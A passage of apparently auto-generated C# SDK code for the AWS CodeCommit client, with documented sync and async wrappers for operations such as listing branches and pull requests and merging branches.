GetRepositoryTriggers service method.</param> /// /// <returns>The response from the GetRepositoryTriggers service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryDoesNotExistException"> /// The specified repository does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNameRequiredException"> /// A repository name is required but was not specified. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/GetRepositoryTriggers">REST API Reference for GetRepositoryTriggers Operation</seealso> public virtual GetRepositoryTriggersResponse GetRepositoryTriggers(GetRepositoryTriggersRequest request) { var options = new InvokeOptions(); options.RequestMarshaller = GetRepositoryTriggersRequestMarshaller.Instance; options.ResponseUnmarshaller = GetRepositoryTriggersResponseUnmarshaller.Instance; return Invoke<GetRepositoryTriggersResponse>(request, options); } /// <summary> /// Gets information about triggers configured for a repository. /// </summary> /// <param name="request">Container for the necessary parameters to execute the GetRepositoryTriggers service method.</param> /// <param name="cancellationToken"> /// A cancellation token that can be used by other objects or threads to receive notice of cancellation. /// </param> /// /// <returns>The response from the GetRepositoryTriggers service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryDoesNotExistException"> /// The specified repository does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNameRequiredException"> /// A repository name is required but was not specified. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/GetRepositoryTriggers">REST API Reference for GetRepositoryTriggers Operation</seealso> public virtual Task<GetRepositoryTriggersResponse> GetRepositoryTriggersAsync(GetRepositoryTriggersRequest request, System.Threading.CancellationToken cancellationToken = default(CancellationToken)) { var options = new InvokeOptions(); options.RequestMarshaller = GetRepositoryTriggersRequestMarshaller.Instance; options.ResponseUnmarshaller = GetRepositoryTriggersResponseUnmarshaller.Instance; return InvokeAsync<GetRepositoryTriggersResponse>(request, options, cancellationToken); } #endregion #region ListBranches /// <summary> /// Gets information about one or more branches in a repository. /// </summary> /// <param name="request">Container for the necessary parameters to execute the ListBranches service method.</param> /// /// <returns>The response from the ListBranches service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidContinuationTokenException"> /// The specified continuation token is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryDoesNotExistException"> /// The specified repository does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNameRequiredException"> /// A repository name is required but was not specified. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/ListBranches">REST API Reference for ListBranches Operation</seealso> public virtual ListBranchesResponse ListBranches(ListBranchesRequest request) { var options = new InvokeOptions(); options.RequestMarshaller = ListBranchesRequestMarshaller.Instance; options.ResponseUnmarshaller = ListBranchesResponseUnmarshaller.Instance; return Invoke<ListBranchesResponse>(request, options); } /// <summary> /// Gets information about one or more branches in a repository. /// </summary> /// <param name="request">Container for the necessary parameters to execute the ListBranches service method.</param> /// <param name="cancellationToken"> /// A cancellation token that can be used by other objects or threads to receive notice of cancellation. /// </param> /// /// <returns>The response from the ListBranches service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidContinuationTokenException"> /// The specified continuation token is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryDoesNotExistException"> /// The specified repository does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNameRequiredException"> /// A repository name is required but was not specified. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/ListBranches">REST API Reference for ListBranches Operation</seealso> public virtual Task<ListBranchesResponse> ListBranchesAsync(ListBranchesRequest request, System.Threading.CancellationToken cancellationToken = default(CancellationToken)) { var options = new InvokeOptions(); options.RequestMarshaller = ListBranchesRequestMarshaller.Instance; options.ResponseUnmarshaller = ListBranchesResponseUnmarshaller.Instance; return InvokeAsync<ListBranchesResponse>(request, options, cancellationToken); } #endregion #region ListPullRequests /// <summary> /// Returns a list of pull requests for a specified repository. The return list can be /// refined by pull request status or pull request author ARN. /// </summary> /// <param name="request">Container for the necessary parameters to execute the ListPullRequests service method.</param> /// /// <returns>The response from the ListPullRequests service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.AuthorDoesNotExistException"> /// The specified Amazon Resource Name (ARN) does not exist in the AWS account. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidAuthorArnException"> /// The Amazon Resource Name (ARN) is not valid. Make sure that you have provided the /// full ARN for the author of the pull request, and then try again. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidContinuationTokenException"> /// The specified continuation token is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidMaxResultsException"> /// The specified number of maximum results is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidPullRequestStatusException"> /// The pull request status is not valid. The only valid values are <code>OPEN</code> /// and <code>CLOSED</code>. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryDoesNotExistException"> /// The specified repository does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNameRequiredException"> /// A repository name is required but was not specified. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/ListPullRequests">REST API Reference for ListPullRequests Operation</seealso> public virtual ListPullRequestsResponse ListPullRequests(ListPullRequestsRequest request) { var options = new InvokeOptions(); options.RequestMarshaller = ListPullRequestsRequestMarshaller.Instance; options.ResponseUnmarshaller = ListPullRequestsResponseUnmarshaller.Instance; return Invoke<ListPullRequestsResponse>(request, options); } /// <summary> /// Returns a list of pull requests for a specified repository. The return list can be /// refined by pull request status or pull request author ARN. /// </summary> /// <param name="request">Container for the necessary parameters to execute the ListPullRequests service method.</param> /// <param name="cancellationToken"> /// A cancellation token that can be used by other objects or threads to receive notice of cancellation. /// </param> /// /// <returns>The response from the ListPullRequests service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.AuthorDoesNotExistException"> /// The specified Amazon Resource Name (ARN) does not exist in the AWS account. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidAuthorArnException"> /// The Amazon Resource Name (ARN) is not valid. Make sure that you have provided the /// full ARN for the author of the pull request, and then try again. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidContinuationTokenException"> /// The specified continuation token is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidMaxResultsException"> /// The specified number of maximum results is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidPullRequestStatusException"> /// The pull request status is not valid. The only valid values are <code>OPEN</code> /// and <code>CLOSED</code>. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryDoesNotExistException"> /// The specified repository does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNameRequiredException"> /// A repository name is required but was not specified. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/ListPullRequests">REST API Reference for ListPullRequests Operation</seealso> public virtual Task<ListPullRequestsResponse> ListPullRequestsAsync(ListPullRequestsRequest request, System.Threading.CancellationToken cancellationToken = default(CancellationToken)) { var options = new InvokeOptions(); options.RequestMarshaller = ListPullRequestsRequestMarshaller.Instance; options.ResponseUnmarshaller = ListPullRequestsResponseUnmarshaller.Instance; return InvokeAsync<ListPullRequestsResponse>(request, options, cancellationToken); } #endregion #region ListRepositories /// <summary> /// Gets information about one or more repositories. /// </summary> /// <param name="request">Container for the necessary parameters to execute the ListRepositories service method.</param> /// /// <returns>The response from the ListRepositories service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.InvalidContinuationTokenException"> /// The specified continuation token is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidOrderException"> /// The specified sort order is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidSortByException"> /// The specified sort by value is not valid. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/ListRepositories">REST API Reference for ListRepositories Operation</seealso> public virtual ListRepositoriesResponse ListRepositories(ListRepositoriesRequest request) { var options = new InvokeOptions(); options.RequestMarshaller = ListRepositoriesRequestMarshaller.Instance; options.ResponseUnmarshaller = ListRepositoriesResponseUnmarshaller.Instance; return Invoke<ListRepositoriesResponse>(request, options); } /// <summary> /// Gets information about one or more repositories. /// </summary> /// <param name="request">Container for the necessary parameters to execute the ListRepositories service method.</param> /// <param name="cancellationToken"> /// A cancellation token that can be used by other objects or threads to receive notice of cancellation. /// </param> /// /// <returns>The response from the ListRepositories service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.InvalidContinuationTokenException"> /// The specified continuation token is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidOrderException"> /// The specified sort order is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidSortByException"> /// The specified sort by value is not valid. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/ListRepositories">REST API Reference for ListRepositories Operation</seealso> public virtual Task<ListRepositoriesResponse> ListRepositoriesAsync(ListRepositoriesRequest request, System.Threading.CancellationToken cancellationToken = default(CancellationToken)) { var options = new InvokeOptions(); options.RequestMarshaller = ListRepositoriesRequestMarshaller.Instance; options.ResponseUnmarshaller = ListRepositoriesResponseUnmarshaller.Instance; return InvokeAsync<ListRepositoriesResponse>(request, options, cancellationToken); } #endregion #region ListTagsForResource /// <summary> /// Gets information about AWS tags for a specified Amazon Resource Name (ARN) in AWS /// CodeCommit. For a list of valid resources in AWS CodeCommit, see <a href="https://docs.aws.amazon.com/codecommit/latest/userguide/auth-and-access-control-iam-access-control-identity-based.html#arn-formats">CodeCommit /// Resources and Operations</a> in the AWS CodeCommit User Guide. /// </summary> /// <param name="request">Container for the necessary parameters to execute the ListTagsForResource service method.</param> /// /// <returns>The response from the ListTagsForResource service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidResourceArnException"> /// The value for the resource ARN is not valid. For more information about resources /// in AWS CodeCommit, see <a href="https://docs.aws.amazon.com/codecommit/latest/userguide/auth-and-access-control-iam-access-control-identity-based.html#arn-formats">CodeCommit /// Resources and Operations</a> in the AWS CodeCommit User Guide. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryDoesNotExistException"> /// The specified repository does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.ResourceArnRequiredException"> /// A valid Amazon Resource Name (ARN) for an AWS CodeCommit resource is required. For /// a list of valid resources in AWS CodeCommit, see <a href="https://docs.aws.amazon.com/codecommit/latest/userguide/auth-and-access-control-iam-access-control-identity-based.html#arn-formats">CodeCommit /// Resources and Operations</a> in the AWS CodeCommit User Guide. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/ListTagsForResource">REST API Reference for ListTagsForResource Operation</seealso> public virtual ListTagsForResourceResponse ListTagsForResource(ListTagsForResourceRequest request) { var options = new InvokeOptions(); options.RequestMarshaller = ListTagsForResourceRequestMarshaller.Instance; options.ResponseUnmarshaller = ListTagsForResourceResponseUnmarshaller.Instance; return Invoke<ListTagsForResourceResponse>(request, options); } /// <summary> /// Gets information about AWS tags for a specified Amazon Resource Name (ARN) in AWS /// CodeCommit. For a list of valid resources in AWS CodeCommit, see <a href="https://docs.aws.amazon.com/codecommit/latest/userguide/auth-and-access-control-iam-access-control-identity-based.html#arn-formats">CodeCommit /// Resources and Operations</a> in the AWS CodeCommit User Guide. /// </summary> /// <param name="request">Container for the necessary parameters to execute the ListTagsForResource service method.</param> /// <param name="cancellationToken"> /// A cancellation token that can be used by other objects or threads to receive notice of cancellation. /// </param> /// /// <returns>The response from the ListTagsForResource service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidResourceArnException"> /// The value for the resource ARN is not valid. For more information about resources /// in AWS CodeCommit, see <a href="https://docs.aws.amazon.com/codecommit/latest/userguide/auth-and-access-control-iam-access-control-identity-based.html#arn-formats">CodeCommit /// Resources and Operations</a> in the AWS CodeCommit User Guide. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryDoesNotExistException"> /// The specified repository does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.ResourceArnRequiredException"> /// A valid Amazon Resource Name (ARN) for an AWS CodeCommit resource is required. For /// a list of valid resources in AWS CodeCommit, see <a href="https://docs.aws.amazon.com/codecommit/latest/userguide/auth-and-access-control-iam-access-control-identity-based.html#arn-formats">CodeCommit /// Resources and Operations</a> in the AWS CodeCommit User Guide. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/ListTagsForResource">REST API Reference for ListTagsForResource Operation</seealso> public virtual Task<ListTagsForResourceResponse> ListTagsForResourceAsync(ListTagsForResourceRequest request, System.Threading.CancellationToken cancellationToken = default(CancellationToken)) { var options = new InvokeOptions(); options.RequestMarshaller = ListTagsForResourceRequestMarshaller.Instance; options.ResponseUnmarshaller = ListTagsForResourceResponseUnmarshaller.Instance; return InvokeAsync<ListTagsForResourceResponse>(request, options, cancellationToken); } #endregion #region MergeBranchesByFastForward /// <summary> /// Merges two branches using the fast-forward merge strategy. /// </summary> /// <param name="request">Container for the necessary parameters to execute the MergeBranchesByFastForward service method.</param> /// /// <returns>The response from the MergeBranchesByFastForward service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.BranchDoesNotExistException"> /// The specified branch does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.BranchNameIsTagNameException"> /// The specified branch name is not valid because it is a tag name. Type the name of /// a current branch in the repository. For a list of valid branch names, use <a>ListBranches</a>. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.BranchNameRequiredException"> /// A branch name is required but was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommitDoesNotExistException"> /// The specified commit does not exist or no commit was specified, and the specified /// repository has no default branch. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommitRequiredException"> /// A commit was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.ConcurrentReferenceUpdateException"> /// The merge cannot be completed because the target branch has been modified. Another /// user might have modified the target branch while the merge was in progress. Wait a /// few minutes, and then try again. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidBranchNameException"> /// The specified reference name is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidCommitException"> /// The specified commit is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidTargetBranchException"> /// The specified target branch is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.ManualMergeRequiredException"> /// The pull request cannot be merged automatically into the destination branch. You must /// manually merge the branches and resolve any conflicts. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryDoesNotExistException"> /// The specified repository does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNameRequiredException"> /// A repository name is required but was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.TipsDivergenceExceededException"> /// The divergence between the tips of the provided commit specifiers is too great to /// determine whether there might be any merge conflicts. Locally compare the specifiers /// using <code>git diff</code> or a diff tool. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/MergeBranchesByFastForward">REST API Reference for MergeBranchesByFastForward Operation</seealso> public virtual MergeBranchesByFastForwardResponse MergeBranchesByFastForward(MergeBranchesByFastForwardRequest request) { var options = new InvokeOptions(); options.RequestMarshaller = MergeBranchesByFastForwardRequestMarshaller.Instance; options.ResponseUnmarshaller = MergeBranchesByFastForwardResponseUnmarshaller.Instance; return Invoke<MergeBranchesByFastForwardResponse>(request, options); } /// <summary> /// Merges two branches using the fast-forward merge strategy. /// </summary> /// <param name="request">Container for the necessary parameters to execute the MergeBranchesByFastForward service method.</param> /// <param name="cancellationToken"> /// A cancellation token that can be used by other objects or threads to receive notice of cancellation. /// </param> /// /// <returns>The response from the MergeBranchesByFastForward service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.BranchDoesNotExistException"> /// The specified branch does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.BranchNameIsTagNameException"> /// The specified branch name is not valid because it is a tag name. Type the name of /// a current branch in the repository. For a list of valid branch names, use <a>ListBranches</a>. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.BranchNameRequiredException"> /// A branch name is required but was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommitDoesNotExistException"> /// The specified commit does not exist or no commit was specified, and the specified /// repository has no default branch. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommitRequiredException"> /// A commit was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.ConcurrentReferenceUpdateException"> /// The merge cannot be completed because the target branch has been modified. Another /// user might have modified the target branch while the merge was in progress. Wait a /// few minutes, and then try again. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidBranchNameException"> /// The specified reference name is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidCommitException"> /// The specified commit is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidTargetBranchException"> /// The specified target branch is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.ManualMergeRequiredException"> /// The pull request cannot be merged automatically into the destination branch. You must /// manually merge the branches and resolve any conflicts. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryDoesNotExistException"> /// The specified repository does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNameRequiredException"> /// A repository name is required but was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.TipsDivergenceExceededException"> /// The divergence between the tips of the provided commit specifiers is too great to /// determine whether there might be any merge conflicts. Locally compare the specifiers /// using <code>git diff</code> or a diff tool. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/MergeBranchesByFastForward">REST API Reference for MergeBranchesByFastForward Operation</seealso> public virtual Task<MergeBranchesByFastForwardResponse> MergeBranchesByFastForwardAsync(MergeBranchesByFastForwardRequest request, System.Threading.CancellationToken cancellationToken = default(CancellationToken)) { var options = new InvokeOptions(); options.RequestMarshaller = MergeBranchesByFastForwardRequestMarshaller.Instance; options.ResponseUnmarshaller = MergeBranchesByFastForwardResponseUnmarshaller.Instance; return InvokeAsync<MergeBranchesByFastForwardResponse>(request, options, cancellationToken); } #endregion #region MergeBranchesBySquash /// <summary> /// Merges two branches using the squash merge strategy. /// </summary> /// <param name="request">Container for the necessary parameters to execute the MergeBranchesBySquash service method.</param> /// /// <returns>The response from the MergeBranchesBySquash service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.BranchDoesNotExistException"> /// The specified branch does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.BranchNameIsTagNameException"> /// The specified branch name is not valid because it is a tag name. Type the name of /// a current branch in the repository. For a list of valid branch names, use <a>ListBranches</a>. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.BranchNameRequiredException"> /// A branch name is required but was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommitDoesNotExistException"> /// The specified commit does not exist or no commit was specified, and the specified /// repository has no default branch. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommitMessageLengthExceededException"> /// The commit message is too long. Provide a shorter string. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommitRequiredException"> /// A commit was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.ConcurrentReferenceUpdateException"> /// The merge cannot be completed because the target branch has been modified. Another /// user might have modified the target branch while the merge was in progress. Wait a /// few minutes, and then try again. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.FileContentSizeLimitExceededException"> /// The file cannot be added because it is too large. The maximum file size that can be /// added is 6 MB, and the combined file content change size is 7 MB. Consider making /// these changes using a Git client. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.FileModeRequiredException"> /// The commit cannot be created because a file mode is required to update mode permissions /// for an existing file, but no file mode has been specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.FolderContentSizeLimitExceededException"> /// The commit cannot be created because at least one of the overall changes in the commit /// results in a folder whose contents exceed the limit of 6 MB. Either reduce the number /// and size of your changes, or split the changes across multiple folders. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidBranchNameException"> /// The specified reference name is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidCommitException"> /// The specified commit is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidConflictDetailLevelException"> /// The specified conflict detail level is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidConflictResolutionException"> /// The specified conflict resolution list is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidConflictResolutionStrategyException"> /// The specified conflict resolution strategy is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidEmailException"> /// The specified email address either contains one or more characters that are not allowed, /// or it exceeds the maximum number of characters allowed for an email address. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidFileModeException"> /// The specified file mode permission is not valid. For a list of valid file mode permissions, /// see <a>PutFile</a>. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidPathException"> /// The specified path is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidReplacementContentException"> /// Automerge was specified for resolving the conflict, but the replacement type is not /// valid or content is missing. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidReplacementTypeException"> /// Automerge was specified for resolving the conflict, but the specified replacement /// type is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified 